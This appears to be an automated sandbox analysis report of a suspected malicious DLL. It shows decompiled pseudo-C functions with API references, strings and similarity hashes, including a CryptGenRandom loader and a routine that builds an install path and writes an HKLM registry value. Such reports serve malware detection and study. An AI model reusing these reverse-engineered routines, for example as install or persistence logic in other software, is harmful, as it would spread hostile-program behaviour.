Download Yara Rule

APIs

_snprintf.MSVCRT ref: 6C4E036A
qsort.MSVCRT ref: 6C4E05E8

Strings

false, xrefs: 6C4E034D
null, xrefs: 6C4E032F
%I64d, xrefs: 6C4E035C
true, xrefs: 6C4E0341
Nl, xrefs: 6C4E05E5
Nl, xrefs: 6C4E02F8, 6C4E06CF, 6C4E06D9, 6C4E05BA, 6C4E0549, 6C4E04D7, 6C4E0354, 6C4E0384, 6C4E0398, 6C4E0399, 6C4E03BB, 6C4E03C3, 6C4E03DB, 6C4E03EB, 6C4E0477, 6C4E050A, 6C4E0522, 6C4E0599, 6C4E05BF, 6C4E05C5, 6C4E05C6, 6C4E060A, 6C4E06D2, 6C4E06D3

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true$Nl$Nl
API String ID: 756996078-1155852448
Opcode ID: f4626252dc38655d56bf4bd15628eeba6bfa3548811bf9f92ebaa63581d38a30
Instruction ID: e81da30582e7aa2fb0a523ed7c8a4a022deb028c39f69d105ebaeb43910f6afa
Opcode Fuzzy Hash: f4626252dc38655d56bf4bd15628eeba6bfa3548811bf9f92ebaa63581d38a30
Instruction Fuzzy Hash: 64E1AC7190028ABBDF01DF65CC81EEF3B79EF4934AF064419FD2496641EB31D961ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E215A, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 98
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6C4E215A(char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				int _t15;
				char* _t24;
				char* _t26;
				char* _t28;
				char* _t29;
				signed int _t40;
				char* _t43;
				char* _t45;
				long long* _t47;

				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t26 = _a4;
				_push(_t30);
				 *_t47 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t26);
				L6C4E22BD();
				_t40 = _t12;
				if(_t40 < 0 || _t40 >= _a8) {
					L19:
					_t13 = _t12 | 0xffffffff;
					goto L20;
				} else {
					L6C4E2305();
					_t15 =  *((intOrPtr*)( *_t12));
					if(_t15 != 0x2e) {
						_t24 = strchr(_t26, _t15);
						if(_t24 != 0) {
							 *_t24 = 0x2e;
						}
					}
					if(strchr(_t26, 0x2e) != 0 || strchr(_t26, 0x65) != 0) {
						L11:
						_t43 = strchr(_t26, 0x65);
						_t28 = _t43;
						if(_t43 == 0) {
							L18:
							_t13 = _t40;
							L20:
							return _t13;
						}
						_t45 = _t43 + 1;
						_t29 = _t28 + 2;
						if( *_t45 == 0x2d) {
							_t45 = _t29;
						}
						while( *_t29 == 0x30) {
							_t29 = _t29 + 1;
						}
						if(_t29 != _t45) {
							E6C4D86E7(_t45, _t29, _t40 - _t29 + _a4);
							_t40 = _t40 + _t45 - _t29;
						}
						goto L18;
					} else {
						_t12 = _t40 + 3;
						if(_t12 >= _a8) {
							goto L19;
						}
						_t26[_t40] = 0x302e;
						( &(_t26[2]))[_t40] = 0;
						_t40 = _t40 + 2;
						goto L11;
					}
				}
			}

0x6c4e215d
0x6c4e2162
0x6c4e2166
0x6c4e2166
0x6c4e216b
0x6c4e2170
0x6c4e2171
0x6c4e2174
0x6c4e2175
0x6c4e217a
0x6c4e217d
0x6c4e217e
0x6c4e2183
0x6c4e218a
0x6c4e2230
0x6c4e2230
0x00000000
0x6c4e2199
0x6c4e2199
0x6c4e21a0
0x6c4e21a4
0x6c4e21ab
0x6c4e21b4
0x6c4e21b6
0x6c4e21b6
0x6c4e21b4
0x6c4e21c5
0x6c4e21eb
0x6c4e21f4
0x6c4e21f6
0x6c4e21fc
0x6c4e222b
0x6c4e222b
0x6c4e2233
0x6c4e2236
0x6c4e2236
0x6c4e21fe
0x6c4e21ff
0x6c4e2205
0x6c4e2207
0x6c4e2207
0x6c4e220c
0x6c4e220b
0x6c4e220b
0x6c4e2213
0x6c4e221f
0x6c4e2229
0x6c4e2229
0x00000000
0x6c4e21d5
0x6c4e21d5
0x6c4e21db
0x00000000
0x00000000
0x6c4e21dd
0x6c4e21e3
0x6c4e21e8
0x00000000
0x6c4e21e8
0x6c4e21c5

APIs

_snprintf.MSVCRT ref: 6C4E217E
localeconv.MSVCRT ref: 6C4E2199
strchr.MSVCRT ref: 6C4E21AB
strchr.MSVCRT ref: 6C4E21BC
strchr.MSVCRT ref: 6C4E21CA
strchr.MSVCRT ref: 6C4E21EF

Strings

Nl, xrefs: 6C4E216F, 6C4E2170, 6C4E21EB
%.*g, xrefs: 6C4E2175

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: strchr$_snprintflocaleconv
String ID: %.*g$Nl
API String ID: 1910550357-2221525416
Opcode ID: 82c73cae9a28ce96dc877d664164e9f6111148f7c46e55dfb6d02ee83dd0ef35
Instruction ID: af887c39b3b80ac9666645a3d669c47a1afadff8473192eaa84a343e6e2577df
Opcode Fuzzy Hash: 82c73cae9a28ce96dc877d664164e9f6111148f7c46e55dfb6d02ee83dd0ef35
Instruction Fuzzy Hash: A2214D661446036AE331CA69AC8CFAB379CEF0D32BF170519F9518AB81DF71D94542E0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E16F0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 70
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E6C4E16F0(signed int* _a4) {
				char _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				char _v20;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				void* _t22;
				intOrPtr* _t28;
				signed int _t29;
				signed int _t30;
				struct HINSTANCE__* _t32;
				void* _t34;

				_t30 = 0;
				_v8 = 0;
				_t32 = GetModuleHandleA("advapi32.dll");
				if(_t32 == 0) {
					L9:
					return 1;
				}
				_t16 = GetProcAddress(_t32, "CryptAcquireContextA");
				_v12 = _t16;
				if(_t16 == 0) {
					goto L9;
				}
				_t17 = GetProcAddress(_t32, "CryptGenRandom");
				_v16 = _t17;
				if(_t17 == 0) {
					goto L9;
				}
				_t28 = GetProcAddress(_t32, "CryptReleaseContext");
				if(_t28 == 0) {
					goto L9;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if(_v12() == 0) {
					goto L9;
				}
				_t22 = _v16(_v8, 4,  &_v20);
				 *_t28(_v8, 0);
				if(_t22 == 0) {
					goto L9;
				}
				_t29 = 0;
				do {
					_t30 = _t30 << 0x00000008 |  *(_t34 + _t29 - 0x10) & 0x000000ff;
					_t29 = _t29 + 1;
				} while (_t29 < 4);
				 *_a4 = _t30;
				return 0;
			}

0x6c4e16f9
0x6c4e1700
0x6c4e1709
0x6c4e170d
0x6c4e1788
0x00000000
0x6c4e178a
0x6c4e171b
0x6c4e171d
0x6c4e1722
0x00000000
0x00000000
0x6c4e172a
0x6c4e172c
0x6c4e1731
0x00000000
0x00000000
0x6c4e173b
0x6c4e173f
0x00000000
0x00000000
0x6c4e1741
0x6c4e1746
0x6c4e1748
0x6c4e1749
0x6c4e174d
0x6c4e1753
0x00000000
0x00000000
0x6c4e175e
0x6c4e1767
0x6c4e176b
0x00000000
0x00000000
0x6c4e176d
0x6c4e176f
0x6c4e1777
0x6c4e1779
0x6c4e177a
0x6c4e1782
0x00000000

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,00000000,00000000,00000000,6C4D763B,?,?,00000000,?), ref: 6C4E1703
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00000000,?), ref: 6C4E171B
GetProcAddress.KERNEL32(00000000,CryptGenRandom,?,?,00000000,?), ref: 6C4E172A
GetProcAddress.KERNEL32(00000000,CryptReleaseContext,?,?,00000000,?), ref: 6C4E1739

Strings

CryptGenRandom, xrefs: 6C4E1724
CryptReleaseContext, xrefs: 6C4E1733
CryptAcquireContextA, xrefs: 6C4E1715
advapi32.dll, xrefs: 6C4E16FB

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: 0d6cf0d630e2f5ca6d458f55e9b66b1718af27d21a6d1451c940647d76343ca7
Instruction ID: b1254a18962c498aefe0eae58af78d7042299236f12a0d98a5cbad6399fa6202
Opcode Fuzzy Hash: 0d6cf0d630e2f5ca6d458f55e9b66b1718af27d21a6d1451c940647d76343ca7
Instruction Fuzzy Hash: 4311A731E41665BBDF11DBAA8C84EAE7AF8AF49A47F120465E910E2602D630C9418664

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D49FE, Relevance: 9.3, APIs: 6, Instructions: 285
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6C4D49FE(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, signed int _a12) {
				char _v516;
				void _v1044;
				char _v1076;
				signed int _v1080;
				signed int _v1096;
				WCHAR* _v1100;
				intOrPtr _v1104;
				signed int _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				char _v1144;
				char _v1148;
				void* __esi;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t76;
				signed int _t81;
				WCHAR* _t87;
				void* _t89;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				signed int _t94;
				WCHAR* _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				void* _t108;
				intOrPtr _t109;
				signed char _t116;
				WCHAR* _t118;
				void* _t122;
				signed int _t123;
				intOrPtr _t125;
				void* _t128;
				void* _t129;
				WCHAR* _t130;
				void* _t134;
				void* _t141;
				void* _t143;
				WCHAR* _t145;
				signed int _t153;
				void* _t154;
				void* _t178;
				signed int _t180;
				void* _t181;
				void* _t183;
				void* _t187;
				signed int _t188;
				WCHAR* _t190;
				signed int _t191;
				signed int _t192;
				intOrPtr* _t194;
				signed int _t196;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				intOrPtr* _t203;
				void* _t208;

				_t208 = __fp0;
				_push(_t191);
				_t128 = __edx;
				_t187 = __ecx;
				_t192 = _t191 | 0xffffffff;
				memset( &_v1044, 0, 0x20c);
				_t199 = (_t196 & 0xfffffff8) - 0x454 + 0xc;
				_v1108 = 1;
				if(_t187 != 0) {
					_t123 =  *0x6c4ee688; // 0x2130590
					_t3 = _t123 + 0x110; // 0x21afd98
					_t125 =  *0x6c4ee68c; // 0x21afc68
					_v1116 =  *((intOrPtr*)(_t125 + 0x68))(_t187,  *((intOrPtr*)( *_t3)));
				}
				if(E6C4DBBCF(_t187) != 0) {
					L4:
					_t134 = _t128;
					_t66 = E6C4DB7EA(_t134,  &_v516);
					_push(_t134);
					_v1104 = _t66;
					E6C4DB6BF(_t66,  &_v1076, _t206, _t208);
					_t129 = E6C4D49BA( &_v1076,  &_v1076, _t206);
					_t141 = E6C4DD442( &_v1076, E6C4DC3BB( &_v1076), 0);
					E6C4DB8CC(_t141,  &_v1100, _t208);
					_t175 =  &_v1076;
					_t73 = E6C4D2C82(_t187,  &_v1076, _t206, _t208);
					_v1112 = _t73;
					_t143 = _t141;
					if(_t73 != 0) {
						_push(0);
						_push(_t129);
						_push("\\");
						_t130 = E6C4D92C6(_t73);
						_t200 = _t199 + 0x10;
						_t75 =  *0x6c4ee688; // 0x2130590
						__eflags =  *((intOrPtr*)(_t75 + 0x214)) - 3;
						if( *((intOrPtr*)(_t75 + 0x214)) != 3) {
							L12:
							__eflags = _v1108;
							if(__eflags != 0) {
								_t76 = E6C4D91C4(_v1112);
								_t145 = _t130;
								 *0x6c4ee740 = _t76;
								 *0x6c4ee738 = E6C4D91C4(_t145);
								L17:
								_push(_t145);
								_t188 = E6C4D9B24( &_v1044, _t187, _t208, _v1104,  &_v1080,  &_v1100);
								_t201 = _t200 + 0x10;
								__eflags = _t188;
								if(_t188 == 0) {
									goto L41;
								}
								_push(0x6c4eb9c6);
								E6C4D9F13(0xe);
								E6C4D9F37(_t188, _t208, _t130);
								_t194 = _a4;
								_v1096 = _v1096 & 0x00000000;
								_push(2);
								_v1100 =  *_t194;
								_push(8);
								_push( &_v1100);
								_t178 = 0xb;
								E6C4DA076(_t188, _t178, _t208);
								_t179 =  *(_t194 + 0x10);
								_t202 = _t201 + 0xc;
								__eflags =  *(_t194 + 0x10);
								if( *(_t194 + 0x10) != 0) {
									E6C4DA3D8(_t188, _t179, _t208);
								}
								_t180 =  *(_t194 + 0xc);
								__eflags = _t180;
								if(_t180 != 0) {
									E6C4DA3D8(_t188, _t180, _t208);
								}
								_t87 = E6C4D97ED(0);
								_push(2);
								_v1100 = _t87;
								_t153 = _t188;
								_push(8);
								_v1096 = _t180;
								_push( &_v1100);
								_t181 = 2;
								_t89 = E6C4DA076(_t153, _t181, _t208);
								_t203 = _t202 + 0xc;
								__eflags = _v1108;
								if(_v1108 == 0) {
									_t153 =  *0x6c4ee688; // 0x2130590
									__eflags =  *((intOrPtr*)(_t153 + 0xa4)) - 1;
									if(__eflags != 0) {
										_t90 = E6C4DFC57(_t89, _t181, _t208, 0, _t130, 0);
										_t203 = _t203 + 0xc;
										goto L26;
									}
									_t153 = _t153 + 0x228;
									goto L25;
								} else {
									_t91 =  *0x6c4ee688; // 0x2130590
									__eflags =  *((intOrPtr*)(_t91 + 0xa4)) - 1;
									if(__eflags != 0) {
										L32:
										__eflags =  *(_t91 + 0x1898) & 0x00000082;
										if(( *(_t91 + 0x1898) & 0x00000082) != 0) {
											_t183 = 0x64;
											E6C4DE280(_t183);
										}
										E6C4D52B3( &_v1076, _t208);
										_t190 = _a8;
										_t154 = _t153;
										__eflags = _t190;
										if(_t190 != 0) {
											_t94 =  *0x6c4ee688; // 0x2130590
											__eflags =  *((intOrPtr*)(_t94 + 0xa0)) - 1;
											if( *((intOrPtr*)(_t94 + 0xa0)) != 1) {
												lstrcpyW(_t190, _t130);
											} else {
												_t96 = E6C4D109A(_t154, 0x228);
												_v1100 = _t96;
												lstrcpyW(_t190, _t96);
												E6C4D85B6( &_v1100);
												 *_t203 = "\"";
												lstrcatW(_t190, ??);
												lstrcatW(_t190, _t130);
												lstrcatW(_t190, "\"");
											}
										}
										_t93 = _a12;
										__eflags = _t93;
										if(_t93 != 0) {
											 *_t93 = _v1104;
										}
										_t192 = 0;
										__eflags = 0;
										goto L41;
									}
									_t51 = _t91 + 0x228; // 0x21307b8
									_t153 = _t51;
									L25:
									_t90 = E6C4D5532(_t153, _t130, __eflags);
									L26:
									__eflags = _t90;
									if(_t90 >= 0) {
										_t91 =  *0x6c4ee688; // 0x2130590
										goto L32;
									}
									_push(0xfffffffd);
									L6:
									_pop(_t192);
									goto L41;
								}
							}
							_t106 = E6C4DC2D4(_v1104, __eflags);
							_v1112 = _t106;
							_t107 =  *0x6c4ee684; // 0x21afaa0
							_t108 =  *((intOrPtr*)(_t107 + 0xd0))(_t106, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
							__eflags = _t108 - _t192;
							if(_t108 != _t192) {
								_t109 =  *0x6c4ee684; // 0x21afaa0
								 *((intOrPtr*)(_t109 + 0x30))();
								E6C4D85FB( &_v1148, _t192);
								_t145 = _t108;
								goto L17;
							}
							E6C4D85FB( &_v1144, _t192);
							_t81 = 1;
							goto L42;
						}
						_t17 = _t75 + 0x1898; // 0x0
						_t116 =  *_t17;
						__eflags = _t116 & 0x00000004;
						if((_t116 & 0x00000004) == 0) {
							__eflags = _t116;
							if(_t116 != 0) {
								goto L12;
							}
							L11:
							E6C4DE2C8(_v1112, _t175);
							goto L12;
						}
						_v1080 = _v1080 & 0x00000000;
						_t118 = E6C4D95C2(_t143, 0x879);
						_v1100 = _t118;
						_t175 = _t118;
						E6C4DC02E(0x80000002, _t118, _v1112, 4,  &_v1080, 4);
						E6C4D85B6( &_v1100);
						_t200 = _t200 + 0x14;
						goto L11;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t122 = E6C4D2B97( &_v1044, _t192, 0x105);
					_t206 = _t122;
					if(_t122 == 0) {
						L41:
						_t81 = _t192;
						L42:
						return _t81;
					}
					goto L4;
				}
			}

0x6c4d49fe
0x6c4d4a0b
0x6c4d4a16
0x6c4d4a1b
0x6c4d4a1d
0x6c4d4a20
0x6c4d4a25
0x6c4d4a28
0x6c4d4a32
0x6c4d4a34
0x6c4d4a39
0x6c4d4a41
0x6c4d4a4a
0x6c4d4a4a
0x6c4d4a57
0x6c4d4a72
0x6c4d4a79
0x6c4d4a7b
0x6c4d4a80
0x6c4d4a85
0x6c4d4a8b
0x6c4d4a9a
0x6c4d4ab9
0x6c4d4abb
0x6c4d4ac1
0x6c4d4ac7
0x6c4d4acc
0x6c4d4ad0
0x6c4d4ad3
0x6c4d4add
0x6c4d4adf
0x6c4d4ae0
0x6c4d4aeb
0x6c4d4aed
0x6c4d4af0
0x6c4d4af5
0x6c4d4afc
0x6c4d4b51
0x6c4d4b51
0x6c4d4b56
0x6c4d4bbd
0x6c4d4bc2
0x6c4d4bc4
0x6c4d4bce
0x6c4d4bd3
0x6c4d4bd3
0x6c4d4bed
0x6c4d4bef
0x6c4d4bf2
0x6c4d4bf4
0x00000000
0x00000000
0x6c4d4bfa
0x6c4d4c04
0x6c4d4c0d
0x6c4d4c12
0x6c4d4c15
0x6c4d4c1b
0x6c4d4c21
0x6c4d4c29
0x6c4d4c2b
0x6c4d4c2e
0x6c4d4c2f
0x6c4d4c34
0x6c4d4c37
0x6c4d4c3a
0x6c4d4c3c
0x6c4d4c40
0x6c4d4c40
0x6c4d4c45
0x6c4d4c48
0x6c4d4c4a
0x6c4d4c4e
0x6c4d4c4e
0x6c4d4c55
0x6c4d4c5a
0x6c4d4c5c
0x6c4d4c60
0x6c4d4c62
0x6c4d4c68
0x6c4d4c6c
0x6c4d4c6f
0x6c4d4c70
0x6c4d4c75
0x6c4d4c78
0x6c4d4c7d
0x6c4d4ca5
0x6c4d4cab
0x6c4d4cb2
0x6c4d4cc1
0x6c4d4cc6
0x00000000
0x6c4d4cc6
0x6c4d4cb4
0x00000000
0x6c4d4c7f
0x6c4d4c7f
0x6c4d4c84
0x6c4d4c8b
0x6c4d4cd0
0x6c4d4cd0
0x6c4d4cd7
0x6c4d4cdb
0x6c4d4cdc
0x6c4d4cdc
0x6c4d4ce6
0x6c4d4ceb
0x6c4d4cee
0x6c4d4cef
0x6c4d4cf1
0x6c4d4cf3
0x6c4d4cf8
0x6c4d4cff
0x6c4d4d42
0x6c4d4d01
0x6c4d4d06
0x6c4d4d0e
0x6c4d4d12
0x6c4d4d1d
0x6c4d4d28
0x6c4d4d30
0x6c4d4d34
0x6c4d4d3c
0x6c4d4d3c
0x6c4d4cff
0x6c4d4d48
0x6c4d4d4b
0x6c4d4d4d
0x6c4d4d53
0x6c4d4d53
0x6c4d4d55
0x6c4d4d55
0x00000000
0x6c4d4d55
0x6c4d4c8d
0x6c4d4c8d
0x6c4d4c93
0x6c4d4c95
0x6c4d4c9a
0x6c4d4c9a
0x6c4d4c9c
0x6c4d4ccb
0x00000000
0x6c4d4ccb
0x6c4d4c9e
0x6c4d4ad7
0x6c4d4ad7
0x00000000
0x6c4d4ad7
0x6c4d4c7d
0x6c4d4b5c
0x6c4d4b6a
0x6c4d4b7d
0x6c4d4b82
0x6c4d4b88
0x6c4d4b8a
0x6c4d4ba2
0x6c4d4ba7
0x6c4d4bb0
0x6c4d4bb6
0x00000000
0x6c4d4bb6
0x6c4d4b92
0x6c4d4b9b
0x00000000
0x6c4d4b9b
0x6c4d4afe
0x6c4d4afe
0x6c4d4b04
0x6c4d4b06
0x6c4d4b44
0x6c4d4b46
0x00000000
0x00000000
0x6c4d4b48
0x6c4d4b4c
0x00000000
0x6c4d4b4c
0x6c4d4b08
0x6c4d4b12
0x6c4d4b1e
0x6c4d4b29
0x6c4d4b30
0x6c4d4b3a
0x6c4d4b3f
0x00000000
0x6c4d4b3f
0x6c4d4ad5
0x00000000
0x6c4d4a59
0x6c4d4a64
0x6c4d4a6a
0x6c4d4a6c
0x6c4d4d57
0x6c4d4d57
0x6c4d4d59
0x6c4d4d5f
0x6c4d4d5f
0x00000000
0x6c4d4a6c

APIs

memset.MSVCRT ref: 6C4D4A20
lstrcpyW.KERNEL32(00000000,00000000), ref: 6C4D4D12
lstrcatW.KERNEL32 ref: 6C4D4D30
lstrcatW.KERNEL32 ref: 6C4D4D34
lstrcatW.KERNEL32 ref: 6C4D4D3C
lstrcpyW.KERNEL32(00000000,00000000), ref: 6C4D4D42

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcat$lstrcpy$memset
String ID:
API String ID: 1985475764-0
Opcode ID: 27b400441548617a8a853a398c75dc98e2833dd82d4875410fded27c83063796
Instruction ID: 382aec24bc628a11b109deb3a4f41c17e1a5253f635b1f088c496d15fbb02269
Opcode Fuzzy Hash: 27b400441548617a8a853a398c75dc98e2833dd82d4875410fded27c83063796
Instruction Fuzzy Hash: 3C91E171604300ABE704FF24C8A4FAA73E5AF85758F12492DF5559BB80EF70E9098B82

Uniqueness

Uniqueness Score: -1.00%

Function 6C4DD78A, Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6C4DD79E
SysAllocString.OLEAUT32(?), ref: 6C4DD7A6
SysAllocString.OLEAUT32(00000000), ref: 6C4DD7BA
SysFreeString.OLEAUT32(?), ref: 6C4DD835
SysFreeString.OLEAUT32(?), ref: 6C4DD838
SysFreeString.OLEAUT32(?), ref: 6C4DD83D

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 1b56216b8ecf180dcfa468a12500de136f287fa7b6275f4da5f9dd1d81545e40
Instruction ID: 25013877eca9cba93fcff8c6367c2466ca868bf984554e35b7da0255c987ec44
Opcode Fuzzy Hash: 1b56216b8ecf180dcfa468a12500de136f287fa7b6275f4da5f9dd1d81545e40
Instruction Fuzzy Hash: 2D211C75E00218AFDB00DFA9CC88DAFBBBCEF48254B15445AF505A7240DA70AE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C4D1C51, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6C4D1C51(signed int __ecx, void* __eflags, void* __fp0) {
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t13;
				intOrPtr _t15;
				signed int _t16;
				intOrPtr _t17;
				signed int _t18;
				char _t20;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t48;
				void* _t51;
				signed int _t61;
				signed int _t64;
				void* _t71;

				_t71 = __fp0;
				_t61 = __ecx;
				_t41 =  *0x6c4ee6dc; // 0x0
				_t13 = E6C4DA501(_t41, 0);
				while(_t13 < 0) {
					E6C4D97ED( &_v28);
					_t43 =  *0x6c4ee6e0; // 0x0
					_t15 =  *0x6c4ee6e4; // 0x0
					_t41 = _t43 + 0xe10;
					asm("adc eax, ebx");
					__eflags = _t15 - _v24;
					if(__eflags > 0) {
						L9:
						_t16 = 0xfffffffe;
						L13:
						return _t16;
					}
					if(__eflags < 0) {
						L4:
						_t17 =  *0x6c4ee684; // 0x21afaa0
						_t18 =  *((intOrPtr*)(_t17 + 0xc8))( *0x6c4ee6d0, 0);
						__eflags = _t18;
						if(_t18 == 0) {
							break;
						}
						_t35 =  *0x6c4ee684; // 0x21afaa0
						 *((intOrPtr*)(_t35 + 0xb4))(0x3e8);
						_t41 =  *0x6c4ee6dc; // 0x0
						__eflags = 0;
						_t13 = E6C4DA501(_t41, 0);
						continue;
					}
					__eflags = _t41 - _v28;
					if(_t41 >= _v28) {
						goto L9;
					}
					goto L4;
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t20 =  *0x6c4ee6e8; // 0x0
				_v28 = _t20;
				_t22 = E6C4DA6EB(_t41, _t61,  &_v16);
				_v20 = _t22;
				if(_t22 != 0) {
					_t23 = GetCurrentProcess();
					_t24 = GetCurrentThread();
					DuplicateHandle(GetCurrentProcess(), _t24, _t23, 0x6c4ee6d0, 0, 0, 2);
					E6C4D97ED(0x6c4ee6e0);
					_t64 = E6C4D1A01( &_v28, E6C4D1226, _t71);
					__eflags = _t64;
					if(_t64 >= 0) {
						_push(0);
						_push( *0x6c4ee760);
						_t51 = 0x27;
						E6C4D9ED1(_t51);
					}
				} else {
					_t64 = _t61 | 0xffffffff;
				}
				_t29 =  *0x6c4ee684; // 0x21afaa0
				 *((intOrPtr*)(_t29 + 0x30))( *0x6c4ee6d0);
				_t48 =  *0x6c4ee6dc; // 0x0
				 *0x6c4ee6d0 = 0;
				E6C4DA51D(_t48);
				E6C4D85FB( &_v24, 0);
				_t16 = _t64;
				goto L13;
			}

0x6c4d1c51
0x6c4d1c5e
0x6c4d1c60
0x6c4d1c67
0x6c4d1ccd
0x6c4d1c74
0x6c4d1c79
0x6c4d1c7f
0x6c4d1c84
0x6c4d1c8a
0x6c4d1c8c
0x6c4d1c90
0x6c4d1cfe
0x6c4d1d00
0x6c4d1d82
0x6c4d1d88
0x6c4d1d88
0x6c4d1c92
0x6c4d1c9a
0x6c4d1c9a
0x6c4d1ca6
0x6c4d1cac
0x6c4d1cae
0x00000000
0x00000000
0x6c4d1cb0
0x6c4d1cba
0x6c4d1cc0
0x6c4d1cc6
0x6c4d1cc8
0x00000000
0x6c4d1cc8
0x6c4d1c94
0x6c4d1c98
0x00000000
0x00000000
0x00000000
0x6c4d1c98
0x6c4d1cd7
0x6c4d1cd8
0x6c4d1cd9
0x6c4d1cda
0x6c4d1cdb
0x6c4d1ce0
0x6c4d1cea
0x6c4d1cef
0x6c4d1cf7
0x6c4d1d12
0x6c4d1d15
0x6c4d1d1f
0x6c4d1d2a
0x6c4d1d3d
0x6c4d1d3f
0x6c4d1d41
0x6c4d1d43
0x6c4d1d44
0x6c4d1d4c
0x6c4d1d4d
0x6c4d1d53
0x6c4d1cf9
0x6c4d1cf9
0x6c4d1cf9
0x6c4d1d54
0x6c4d1d5f
0x6c4d1d62
0x6c4d1d68
0x6c4d1d6e
0x6c4d1d79
0x6c4d1d80
0x00000000

Strings

Nl, xrefs: 6C4D1D25

Memory Dump Source

Source File: 00000006.00000002.584199825.000000006C4D1000.00000020.00020000.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000006.00000002.584192058.000000006C4D0000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584213289.000000006C4E8000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.584222128.000000006C4ED000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.584229753.000000006C4EF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Nl
API String ID: 0-1196882751
Opcode ID: 26cbc74174f9f5c68bad8b0391c5d0d5186f27d0cf309a0c8fd2e756034549cd
Instruction ID: 24913d8d3110af7af4677c20a970ea098d064118484367f47d2c4cec0fc6dfe8
Opcode Fuzzy Hash: 26cbc74174f9f5c68bad8b0391c5d0d5186f27d0cf309a0c8fd2e756034549cd
Instruction Fuzzy Hash: AD3196327042059FDB84FF74D8E4C6A77B9AB49368B430A2AF901D7692DB20FD0487D2

Uniqueness

Uniqueness Score: -1.00%

Function 6C4E082F, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

\u%04X, xrefs: 6C4E0949
Nl, xrefs: 6C4E082F, 6C4E0836
